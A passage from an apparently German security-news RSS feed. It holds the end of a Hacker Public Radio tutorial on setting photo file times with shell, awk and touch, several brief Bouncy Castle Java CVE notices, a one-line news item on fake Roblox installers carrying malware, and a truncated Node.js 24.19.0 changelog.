Whiskeyjack's comment on HPR episode 4657</a>
), but realized it has no built-in way to change file times, so I set it aside. Don't worry, I <em>
will</em>
 come back to that later.</p>

<p>
My approach was to use an <code>
if-then</code>
 shell construct to choose how to treat the three categories of filenames. For the <code>
if</code>
 condition, I fed the filename into the <code>
grep -q</code>
 command with an appropriate regular expression to test whether it matches. The <code>
-q</code>
 option to <code>
grep</code>
 causes it not to output anything—it returns a zero exit status if there's a match and a status greater than zero if there isn't. Then, there is an <code>
elif</code>
 statement with another <code>
grep -q</code>
 test for the second category of filenames. Finally, an <code>
else</code>
 statement is followed by the command to run for all other filenames. The whole thing is wrapped in a <code>
for</code>
 loop that runs over all the files in the current directory.</p>

<p>

<a href="https://pubs.opengroup.org/onlinepubs/9699919799/utilities/touch.html" rel="noopener noreferrer" target="_blank">
The </a>

<code>

<a href="https://pubs.opengroup.org/onlinepubs/9699919799/utilities/touch.html" rel="noopener noreferrer" target="_blank">
touch</a>

</code>

<a href="https://pubs.opengroup.org/onlinepubs/9699919799/utilities/touch.html" rel="noopener noreferrer" target="_blank">
 command</a>
, when used with the <code>
-t</code>
 option, can be given a string consisting of the year, month, day, hour, minute, and second. These are all numerals that are run together, <em>
except</em>
 that a period sits between the minute and second. So we need a way to extract these numbers and to insert the period.</p>

<p>
That's where <a href="https://pubs.opengroup.org/onlinepubs/9699919799/utilities/cut.html" rel="noopener noreferrer" target="_blank">
the </a>

<code>

<a href="https://pubs.opengroup.org/onlinepubs/9699919799/utilities/cut.html" rel="noopener noreferrer" target="_blank">
cut</a>

</code>

<a href="https://pubs.opengroup.org/onlinepubs/9699919799/utilities/cut.html" rel="noopener noreferrer" target="_blank">
 utility</a>
 comes in. It can be given a set of characters to select, and I specified a different set representing the appropriate ones depending on which category a filename fit into. To insert the period, I used <code>

<a href="https://pubs.opengroup.org/onlinepubs/9699919799/utilities/sed.html" rel="noopener noreferrer" target="_blank">
sed</a>

</code>
 to replace the last two characters with a period followed by those characters.</p>

<p>

<em>
The first script was to test out that I was getting the correct results.</em>

</p>

<pre data-language="plain">
for fn in *
do
  if echo "$fn" | grep -q BURST
  then
    printf "$fn "
    echo $fn | cut -c '21-34' | sed 's/..$/.&amp;/'
  elif echo "$fn" | grep -q -E '^(IMG_|VID_)'
  then
    printf "$fn "
    echo $fn | cut -c '5-12,14-19' | sed 's/..$/.&amp;/'
  else
    printf "$fn "
    echo $fn | cut -c '1-8,10-15' | sed 's/..$/.&amp;/'
  fi
done
</pre>

<p>

<em>
This one actually sets the file times. The </em>

<code>

<em>
-c</em>

</code>

<em>
 option to </em>

<code>

<em>
touch</em>

</code>

<em>
 prevents it from creating a file if one with that name doesn't already exist.</em>

</p>

<pre data-language="plain">
for fn in *
do
  if echo "$fn" | grep -q BURST
  then
    touch -c -t "$(echo $fn | cut -c '21-34' | sed 's/..$/.&amp;/')" "$fn"
  elif echo "$fn" | grep -q -E '^(IMG_|VID_)'
  then
    touch -c -t "$(echo $fn | cut -c '5-12,14-19' | sed 's/..$/.&amp;/')" "$fn"
  else
    touch -c -t "$(echo $fn | cut -c '1-8,10-15' | sed 's/..$/.&amp;/')" "$fn"
  fi
done
</pre>

<p>
The script ran over all the files in less than 15 seconds and correctly set the file time on each. Job done, right? Well, after I did this, it struck me that there was room for improvement. The script would probably run more quickly if I used <a href="https://pubs.opengroup.org/onlinepubs/9699919799/utilities/V3_chap02.html#tag_18_09_04_05" rel="noopener noreferrer" target="_blank">
a </a>

<code>

<a href="https://pubs.opengroup.org/onlinepubs/9699919799/utilities/V3_chap02.html#tag_18_09_04_05" rel="noopener noreferrer" target="_blank">
case</a>

</code>

<a href="https://pubs.opengroup.org/onlinepubs/9699919799/utilities/V3_chap02.html#tag_18_09_04_05" rel="noopener noreferrer" target="_blank">
 construct</a>
 instead of an <code>
if</code>
 construct that called <code>
grep</code>
 multiple times. While the pattern-matching notation used with <code>
case</code>
 is not as flexible and can handle fewer situations than the regular expression syntax available with <code>
grep</code>
, in this case (see what I did there?) it is sufficient. Testing it out, using <code>
case</code>
 reduced the running time by 45%.</p>

<p>

<em>
Replacing </em>

<code>

<em>
if</em>

</code>

<em>
 with </em>

<code>

<em>
case</em>

</code>

<em>
—the commands to be executed for each category of filename can remain exactly the same.</em>

</p>

<pre data-language="plain">
for fn in *
do
  case "$fn" in
  *BURST*)
    printf "$fn "
    echo $fn | cut -c '21-34' | sed 's/..$/.&amp;/'
  ;;
  IMG_*|VID_*)
    printf "$fn "
    echo $fn | cut -c '5-12,14-19' | sed 's/..$/.&amp;/'
  ;;
  *)
    printf "$fn "
    echo $fn | cut -c '1-8,10-15' | sed 's/..$/.&amp;/'
  esac
done

for fn in *
do
  case "$fn" in
  *BURST*)
    touch -c -t "$(echo $fn | cut -c '21-34' | sed 's/..$/.&amp;/')" "$fn"
  ;;
  IMG_*|VID_*)
    touch -c -t "$(echo $fn | cut -c '5-12,14-19' | sed 's/..$/.&amp;/')" "$fn"
  ;;
  *)
    touch -c -t "$(echo $fn | cut -c '1-8,10-15' | sed 's/..$/.&amp;/')" "$fn"
  esac
done
</pre>

<p>
I couldn't completely put <code>
awk</code>
 out of my mind, though, and I eventually came up with an <code>
awk</code>
 script for the same purpose. This is <em>
far</em>
 faster, probably because everything can be done within <code>
awk</code>
 except actually modifying the file times, which is possible using <a href="https://pubs.opengroup.org/onlinepubs/9699919799/utilities/awk.html#tag_20_06_13_14" rel="noopener noreferrer" target="_blank">
the </a>

<code>

<a href="https://pubs.opengroup.org/onlinepubs/9699919799/utilities/awk.html#tag_20_06_13_14" rel="noopener noreferrer" target="_blank">
system()</a>

</code>

<a href="https://pubs.opengroup.org/onlinepubs/9699919799/utilities/awk.html#tag_20_06_13_14" rel="noopener noreferrer" target="_blank">
 function</a>
 to call <code>
touch</code>
. I was able to knock 90% off the running time, which for 800 files isn't a big deal but might make a difference if you have hundreds of thousands of files.</p>

<p>

<em>
The </em>

<code>

<em>
awk</em>

</code>

<em>
 counterparts to both scripts above. Unlike those, </em>

<code>

<em>
ls</em>

</code>

<em>
 is used to feed it with the list of filenames. We have the full power of extended regular expressions available to use for matching against the filenames. The </em>

<code>

<em>
next</em>

</code>

<em>
 statement causes </em>

<code>

<em>
awk</em>

</code>

<em>
 to skip any remaining pattern-action pairs and go to the next line of input.</em>

</p>

<pre data-language="plain">
ls | awk '/BURST/ { print $0, substr($0, 21, 12) "." substr($0, 33, 2)
  next }
/^(IMG_|VID_)/ {
  print $0, substr($0, 5, 8) substr($0, 14, 4) "." substr($0, 18, 2)
  next }
{ print $0, substr($0, 1, 8) substr($0, 10, 4) "." substr($0, 14, 2) }'

ls | awk '/BURST/ {
  system("touch -c -t " substr($0, 21, 12) "." substr($0, 33, 2) " " $0)
  next }
/^(IMG_|VID_)/ {
  system("touch -c -t " substr($0, 5, 8) substr($0, 14, 4) "." \
    substr($0, 18, 2) " " $0)
  next }
{ system("touch -c -t " substr($0, 1, 8) substr($0, 10, 4) "." \
    substr($0, 14, 2) " " $0) }'
</pre>

<p>
A further optimization that came to me later was to not call <code>
system()</code>
 from within <code>
awk</code>
, but to instead just have <code>
awk</code>
 print out a set of command lines. These can then be piped to <code>
sh</code>
 to actually be executed. This cut the running time down by 95% compared to my original script.</p>

<p>

<em>
The fastest version I was able to come up with. If you run it without the </em>

<code>

<em>
| sh</em>

</code>

<em>
 on the end, you can check that it's outputting the right information before actually modifying anything. The backslash on the end of a couple lines causes the subsequent line to be treated as a continuation of the existing line. Normally I would just keep everything on one line even if it runs longer than 80 columns, but for display purposes this looks nicer.</em>

</p>

<pre data-language="plain">
ls | awk '/BURST/ {
  print "touch -c -t " substr($0, 21, 12) "." substr($0, 33, 2) " " $0
  next }
/^(IMG_|VID_)/ {
  print "touch -c -t " substr($0, 5, 8) substr($0, 14, 4) "." \
    substr($0, 18, 2) " " $0
  next }
{ print "touch -c -t " substr($0, 1, 8) substr($0, 10, 4) "." \
    substr($0, 14, 2) " " $0 }' | sh
</pre>

<p>
It is probably true that this could have been carried out just as easily on Windows using Microsoft's PowerShell. I'm not very familiar with it, but would imagine (or hope) that it includes commands for managing these basic things like text manipulation and modifying file times. If you are stuck in an environment where you don't have a UNIX-like system available, investigate how to accomplish a task with the tools you do have.</p>

<p>
While I had the necessary information in the filenames to use, that might not be the case in all situations. You could look for other sources of dates—most digital cameras will add EXIF tags to a JPEG file giving the date and time it was created. (Hopefully, the clock in the camera will be set accurately.) While there is no standard UNIX utility to read those tags, free and open source software tools are widely available for that purpose. I found one called <code>
exiftags</code>
 that included the utility <code>
exiftime</code>
, which specifically outputs EXIF data relating to time. The output format was a little trickier to handle, but <code>
awk</code>
 was able to manage it with a little coaxing.</p>

<p>

<em>
Example of output produced by </em>

<code>

<em>
exiftime</em>

</code>

<em>
. Note that the first line with the filename is </em>
only<em>
 printed if more than one filename is given as an argument. Also, for </em>

<code>

<em>
amusing-sign.jpg</em>

</code>

<em>
, apparently I edited that photo after taking it and the editing software updated the "created" tag but left the others intact. Not all images will necessarily have created, generated, and digitized tags; we will just take whichever ones exist. I redirected standard error to </em>

<code>

<em>
/dev/null</em>

</code>

<em>
 to get rid of error messages for files that don't have EXIF tags; we'll handle those below.</em>

</p>

<pre data-language="plain">
$ exiftime *.jpg 2&gt;/dev/null
20260508_154743.jpg:
Image Created: 2026:05:08 15:47:43
Image Generated: 2026:05:08 15:47:43
Image Digitized: 2026:05:08 15:47:43

20260508_155044.jpg:
Image Created: 2026:05:08 15:50:44
Image Generated: 2026:05:08 15:50:44
Image Digitized: 2026:05:08 15:50:44

3704a78e771c2a25a894ef2f0b5a2a629f1eba80.jpg:

amusing-sign.jpg:
Image Created: 2017:01:24 23:14:04
Image Generated: 2017:01:24 21:18:07
Image Digitized: 2017:01:24 21:18:07

dscf3011.jpg:
Image Created: 2015:01:01 00:02:19
Image Generated: 2015:01:01 00:02:19
Image Digitized: 2015:01:01 00:02:19

window-view.jpg:
$ 
</pre>

<p>

<em>
We can take advantage of the fact that different records are separated by a blank line. In </em>

<code>

<em>
awk</em>

</code>

<em>
, when </em>

<code>

<em>
RS</em>

</code>

<em>
 is set to a null string and </em>

<code>

<em>
FS</em>

</code>

<em>
 is set to a newline character, each set of non-blank lines is treated as a record and each line within those sets is treated as a field. One or more blank lines separate each record. For the output of </em>

<code>

<em>
exiftime</em>

</code>

<em>
, this means that </em>

<code>

<em>
$1</em>

</code>

<em>
 will contain the filename and </em>

<code>

<em>
$2</em>

</code>

<em>
 will contain the first line after the filename. For those files without an EXIF date tag, </em>

<code>

<em>
$2</em>

</code>

<em>
 will be a null string, which is treated by </em>

<code>

<em>
awk</em>

</code>

<em>
 as FALSE, so the pattern will not match, the action will not be taken, and nothing will be printed. If a file has multiple tags, I will just use the first one reported by </em>

<code>

<em>
exiftime</em>

</code>

<em>
 (contained in </em>

<code>

<em>
$2</em>

</code>

<em>
). The </em>

<code>

<em>
sub()</em>

</code>

<em>
 function call removes the colon that </em>

<code>

<em>
exiftime</em>

</code>

<em>
 prints after the filename, and the </em>

<code>

<em>
gsub()</em>

</code>

<em>
 function call removes all non-numeric characters from the date and time in the tag. (After a comma within a </em>

<code>

<em>
print</em>

</code>

<em>
 statement, a backslash is not necessary to continue a line.) Also, this time I bothered to print quotation marks around the filename in case it contains spaces.</em>

</p>

<pre data-language="plain">
$ exiftime *.jpg 2&gt;/dev/null | awk 'BEGIN { FS = "\n" ; RS = "" }
$2 { sub(":$", "", $1)
  gsub("[^0-9]", "", $2)
  print "touch -c -t", substr($2, 1, 12) "." substr($2, 13, 2),
    "\"" $1 "\"" }'
touch -c -t 202605081547.43 "20260508_154743.jpg"
touch -c -t 202605081550.44 "20260508_155044.jpg"
touch -c -t 201701242314.04 "amusing-sign.jpg"
touch -c -t 201501010002.19 "dscf3011.jpg"
$ 
</pre>

<p>
I would imagine that there's some photo management program out there that I could have used to accomplish this. But then I would have had to locate it, verify that it wasn't some malware-loaded garbage, download, and install it. And chances are it would want to take over all the photos on my laptop. Instead, with standard UNIX tools and shell capabilities like <code>
if</code>
, <code>
case</code>
, process substitution, and pipelines, I was able to complete the task without having to install anything.</p>

<p>
The techniques I described can be used in different circumstances and with the output of different utilities. My intention was not just to explain how to solve this specific problem, but to hopefully teach you some things that you can apply in many situations. Perhaps if you use them to tackle a challenge of your own, you'll record an episode for HPR to share what you know.</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4697/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-59638 | Legion of the Bouncy Castle Bouncy Castle for Java FIPS JSSE Hostname Verifier access control (WID-SEC-2026-2622)]]></title>
<description><![CDATA[A vulnerability categorized as critical has been discovered in Legion of the Bouncy Castle Bouncy Castle for Java FIPS, Bouncy Castle for Java LTS and Bouncy Castle for Java. Affected is an unknown function of the component JSSE Hostname Verifier. The manipulation results in improper access contr...]]></description>
<link>https://tsecurity.de/de/3701870/sicherheitsluecken/cve-2026-59638-legion-of-the-bouncy-castle-bouncy-castle-for-java-fips-jsse-hostname-verifier-access-control-wid-sec-2026-2622/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3701870/sicherheitsluecken/cve-2026-59638-legion-of-the-bouncy-castle-bouncy-castle-for-java-fips-jsse-hostname-verifier-access-control-wid-sec-2026-2622/</guid>
<pubDate>Tue, 04 Aug 2026 02:11:24 +0200</pubDate>
<content:encoded><![CDATA[A vulnerability categorized as <a href="https://vuldb.com/kb/risk">critical</a> has been discovered in <a href="https://vuldb.com/product/legion_of_the_bouncy_castle:bouncy_castle_for_java_fips">Legion of the Bouncy Castle Bouncy Castle for Java FIPS, Bouncy Castle for Java LTS and Bouncy Castle for Java</a>. Affected is an unknown function of the component <em>JSSE Hostname Verifier</em>. The manipulation results in improper access controls.

This vulnerability was named <a href="https://vuldb.com/cve/CVE-2026-59638">CVE-2026-59638</a>. The attack may be performed from remote. There is no available exploit.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-58062 | Legion of the Bouncy Castle Bouncy Castle for Java FIPS certificate validation (WID-SEC-2026-2622)]]></title>
<description><![CDATA[A vulnerability has been found in Legion of the Bouncy Castle Bouncy Castle for Java FIPS, Bouncy Castle for Java LTS and Bouncy Castle for Java and classified as problematic. This vulnerability affects unknown code. This manipulation causes improper certificate validation.

This vulnerability is...]]></description>
<link>https://tsecurity.de/de/3701871/sicherheitsluecken/cve-2026-58062-legion-of-the-bouncy-castle-bouncy-castle-for-java-fips-certificate-validation-wid-sec-2026-2622/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3701871/sicherheitsluecken/cve-2026-58062-legion-of-the-bouncy-castle-bouncy-castle-for-java-fips-certificate-validation-wid-sec-2026-2622/</guid>
<pubDate>Tue, 04 Aug 2026 02:11:24 +0200</pubDate>
<content:encoded><![CDATA[A vulnerability has been found in <a href="https://vuldb.com/product/legion_of_the_bouncy_castle:bouncy_castle_for_java_fips">Legion of the Bouncy Castle Bouncy Castle for Java FIPS, Bouncy Castle for Java LTS and Bouncy Castle for Java</a> and classified as <a href="https://vuldb.com/kb/risk">problematic</a>. This vulnerability affects unknown code. This manipulation causes improper certificate validation.

This vulnerability is registered as <a href="https://vuldb.com/cve/CVE-2026-58062">CVE-2026-58062</a>. Remote exploitation of the attack is possible. No exploit is available.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-58061 | Legion of the Bouncy Castle BC-JAVA/BC-LTS-JAVA/BC-FJA up to 2.1.2 missing encryption (WID-SEC-2026-2622)]]></title>
<description><![CDATA[A vulnerability, which was classified as problematic, was found in Legion of the Bouncy Castle BC-JAVA, BC-LTS-JAVA and BC-FJA up to 1.84/2.73.11/1.0.2.6/2.0.1/2.1.2. This affects an unknown part. The manipulation results in missing encryption of sensitive data.

This vulnerability is cataloged a...]]></description>
<link>https://tsecurity.de/de/3701872/sicherheitsluecken/cve-2026-58061-legion-of-the-bouncy-castle-bc-javabc-lts-javabc-fja-up-to-212-missing-encryption-wid-sec-2026-2622/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3701872/sicherheitsluecken/cve-2026-58061-legion-of-the-bouncy-castle-bc-javabc-lts-javabc-fja-up-to-212-missing-encryption-wid-sec-2026-2622/</guid>
<pubDate>Tue, 04 Aug 2026 02:11:24 +0200</pubDate>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/kb/risk">problematic</a>, was found in <a href="https://vuldb.com/product/legion_of_the_bouncy_castle:bc-java">Legion of the Bouncy Castle BC-JAVA, BC-LTS-JAVA and BC-FJA up to 1.84/2.73.11/1.0.2.6/2.0.1/2.1.2</a>. This affects an unknown part. The manipulation results in missing encryption of sensitive data.

This vulnerability is cataloged as <a href="https://vuldb.com/cve/CVE-2026-58061">CVE-2026-58061</a>. The attack may be launched remotely. There is no exploit available.

You should upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-58063 | Legion of the Bouncy Castle BC-JAVA/BC-LTS-JAVA/BC-FJA up to 2.1.2 BCFKS Keystore load resource consumption (WID-SEC-2026-2622)]]></title>
<description><![CDATA[A vulnerability was found in Legion of the Bouncy Castle BC-JAVA, BC-LTS-JAVA and BC-FJA up to 1.84/2.73.11/1.0.2.6/2.0.1/2.1.2 and classified as problematic. This issue affects the function Load of the component BCFKS Keystore. Such manipulation leads to resource consumption.

This vulnerability...]]></description>
<link>https://tsecurity.de/de/3701873/sicherheitsluecken/cve-2026-58063-legion-of-the-bouncy-castle-bc-javabc-lts-javabc-fja-up-to-212-bcfks-keystore-load-resource-consumption-wid-sec-2026-2622/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3701873/sicherheitsluecken/cve-2026-58063-legion-of-the-bouncy-castle-bc-javabc-lts-javabc-fja-up-to-212-bcfks-keystore-load-resource-consumption-wid-sec-2026-2622/</guid>
<pubDate>Tue, 04 Aug 2026 02:11:24 +0200</pubDate>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/legion_of_the_bouncy_castle:bc-java">Legion of the Bouncy Castle BC-JAVA, BC-LTS-JAVA and BC-FJA up to 1.84/2.73.11/1.0.2.6/2.0.1/2.1.2</a> and classified as <a href="https://vuldb.com/kb/risk">problematic</a>. This issue affects the function <code>Load</code> of the component <em>BCFKS Keystore</em>. Such manipulation leads to resource consumption.

This vulnerability is documented as <a href="https://vuldb.com/cve/CVE-2026-58063">CVE-2026-58063</a>. The attack can be executed remotely. There is not any exploit available.

It is suggested to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-58060 | Legion of the Bouncy Castle BC Java/BC Java FIPS/BC Java LTS HSS allocation of resources (WID-SEC-2026-2622)]]></title>
<description><![CDATA[A vulnerability, which was classified as problematic, has been found in Legion of the Bouncy Castle BC Java, BC Java FIPS and BC Java LTS. Affected by this issue is some unknown functionality of the component HSS. The manipulation leads to allocation of resources.

This vulnerability is listed as...]]></description>
<link>https://tsecurity.de/de/3701874/sicherheitsluecken/cve-2026-58060-legion-of-the-bouncy-castle-bc-javabc-java-fipsbc-java-lts-hss-allocation-of-resources-wid-sec-2026-2622/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3701874/sicherheitsluecken/cve-2026-58060-legion-of-the-bouncy-castle-bc-javabc-java-fipsbc-java-lts-hss-allocation-of-resources-wid-sec-2026-2622/</guid>
<pubDate>Tue, 04 Aug 2026 02:11:24 +0200</pubDate>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/kb/risk">problematic</a>, has been found in <a href="https://vuldb.com/product/legion_of_the_bouncy_castle:bc_java">Legion of the Bouncy Castle BC Java, BC Java FIPS and BC Java LTS</a>. Affected by this issue is some unknown functionality of the component <em>HSS</em>. The manipulation leads to allocation of resources.

This vulnerability is listed as <a href="https://vuldb.com/cve/CVE-2026-58060">CVE-2026-58060</a>. The attack may be initiated remotely. There is no available exploit.]]></content:encoded>
</item>
<item>
<title><![CDATA[Fake Roblox Xeno script launcher pushes infostealer, RAT malware]]></title>
<description><![CDATA[Fake Xeno Executor installers are infecting unsuspecting Roblox players with malware that provides remote access and steals sensitive information. [...]]]></description>
<link>https://tsecurity.de/de/3701785/it-security-nachrichten/fake-roblox-xeno-script-launcher-pushes-infostealer-rat-malware/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3701785/it-security-nachrichten/fake-roblox-xeno-script-launcher-pushes-infostealer-rat-malware/</guid>
<pubDate>Tue, 04 Aug 2026 01:17:03 +0200</pubDate>
<content:encoded><![CDATA[Fake Xeno Executor installers are infecting unsuspecting Roblox players with malware that provides remote access and steals sensitive information. [...]]]></content:encoded>
</item>
<item>
<title><![CDATA[GitHub: 2026-08-03, Version 24.19.0 'Krypton' (LTS), @aduh95]]></title>
<description><![CDATA[Notable Changes

[d08872b530] - (SEMVER-MINOR) buffer: implement blob.textStream() (Matthew Aitken) #64036
[35222948be] - (SEMVER-MINOR) deps: update OpenSSL build config to support compression (Tim Perry) #62217
[d6ab039f24] - (SEMVER-MINOR) doc: update blockList stability status to release cand...]]></description>
<link>https://tsecurity.de/de/3701499/downloads/github-2026-08-03-version-24190-krypton-lts-aduh95/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3701499/downloads/github-2026-08-03-version-24190-krypton-lts-aduh95/</guid>
<pubDate>Mon, 03 Aug 2026 20:21:51 +0200</pubDate>
<content:encoded><![CDATA[<div class="github-feed-entry"><h3>Notable Changes</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/d08872b530"><code>d08872b530</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>buffer</strong>: implement <code>blob.textStream()</code> (Matthew Aitken) <a href="https://github.com/nodejs/node/pull/64036" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64036/hovercard">#64036</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/35222948be"><code>35222948be</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>deps</strong>: update OpenSSL build config to support compression (Tim Perry) <a href="https://github.com/nodejs/node/pull/62217" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62217/hovercard">#62217</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d6ab039f24"><code>d6ab039f24</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>doc</strong>: update <code>blockList</code> stability status to release candidate (alphaleadership) <a href="https://github.com/nodejs/node/pull/63050" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63050/hovercard">#63050</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1da05fb79d"><code>1da05fb79d</code></a>] - <strong>doc</strong>: mark <code>stream.compose</code> stable (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62562" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62562/hovercard">#62562</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3c1636dabf"><code>3c1636dabf</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>esm</strong>: add <code>--experimental-import-text</code> flag (Efe) <a href="https://github.com/nodejs/node/pull/62300" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62300/hovercard">#62300</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e323e877be"><code>e323e877be</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>fs</strong>: support caller-supplied <code>readFile()</code> buffers (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63634" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63634/hovercard">#63634</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c1248c9544"><code>c1248c9544</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>http</strong>: add <code>httpValidation</code> option to configure header value validation (RajeshKumar11) <a href="https://github.com/nodejs/node/pull/61597" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61597/hovercard">#61597</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a534b65815"><code>a534b65815</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>net</strong>: support <code>TCP_KEEPINTVL</code> and <code>TCP_KEEPCNT</code> in <code>setKeepAlive</code> (Guy Bedford) <a href="https://github.com/nodejs/node/pull/63825" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63825/hovercard">#63825</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a23cdec683"><code>a23cdec683</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>perf_hooks</strong>: sample delay per event loop iteration (Pablo Erhard) <a href="https://github.com/nodejs/node/pull/62935" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62935/hovercard">#62935</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7428b57a37"><code>7428b57a37</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>src</strong>: allow empty <code>--experimental-config-file</code> (Marco Ippolito) <a href="https://github.com/nodejs/node/pull/61610" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61610/hovercard">#61610</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e57597173c"><code>e57597173c</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>stream</strong>: expose <code>ReadableStreamTee</code> (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64195" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64195/hovercard">#64195</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5396235993"><code>5396235993</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>tls</strong>: report negotiated TLS groups (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64119" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64119/hovercard">#64119</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5e901b5cd9"><code>5e901b5cd9</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>tls</strong>: add <code>certificateCompression</code> option (Tim Perry) <a href="https://github.com/nodejs/node/pull/62217" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62217/hovercard">#62217</a></li>
</ul>
<h3>Commits</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/676467fa9f"><code>676467fa9f</code></a>] - <strong>benchmark</strong>: trim down the argon2 sets (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64218" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64218/hovercard">#64218</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a77a2000b7"><code>a77a2000b7</code></a>] - <strong>benchmark</strong>: add child_process async path baselines (Yagiz Nizipli) <a href="https://github.com/nodejs/node/pull/63929" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63929/hovercard">#63929</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dd4482e915"><code>dd4482e915</code></a>] - <strong>buffer</strong>: remove unreachable overflow check in atob (haramjeong) <a href="https://github.com/nodejs/node/pull/60161" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60161/hovercard">#60161</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/081c41eb86"><code>081c41eb86</code></a>] - <strong>buffer</strong>: add fast api for isUtf8 and isAscii (Gürgün Dayıoğlu) <a href="https://github.com/nodejs/node/pull/64169" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64169/hovercard">#64169</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d08872b530"><code>d08872b530</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>buffer</strong>: implement blob.textStream() (Matthew Aitken) <a href="https://github.com/nodejs/node/pull/64036" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64036/hovercard">#64036</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6e2f7e6013"><code>6e2f7e6013</code></a>] - <strong>build</strong>: remove redundant intermediate node_aix_shared (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/63747" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63747/hovercard">#63747</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/87e0675f51"><code>87e0675f51</code></a>] - <strong>build</strong>: build codecache and snapshot with libnode (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/63626" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63626/hovercard">#63626</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/32174a7bae"><code>32174a7bae</code></a>] - <strong>build</strong>: support setting an emulator from configure script (Ivan Trubach) <a href="https://github.com/nodejs/node/pull/53899" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/53899/hovercard">#53899</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/69cfb2f240"><code>69cfb2f240</code></a>] - <strong>build</strong>: remove duplicated node_use_sqlite and node_use_ffi conditions (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/63629" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63629/hovercard">#63629</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/37ac6e8cb5"><code>37ac6e8cb5</code></a>] - <strong>build</strong>: add manually-dispatched stress-test workflow (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/64118" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64118/hovercard">#64118</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2424207191"><code>2424207191</code></a>] - <strong>build</strong>: suppress compiler warnings for histogram (Richard Lau) <a href="https://github.com/nodejs/node/pull/63980" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63980/hovercard">#63980</a></li>
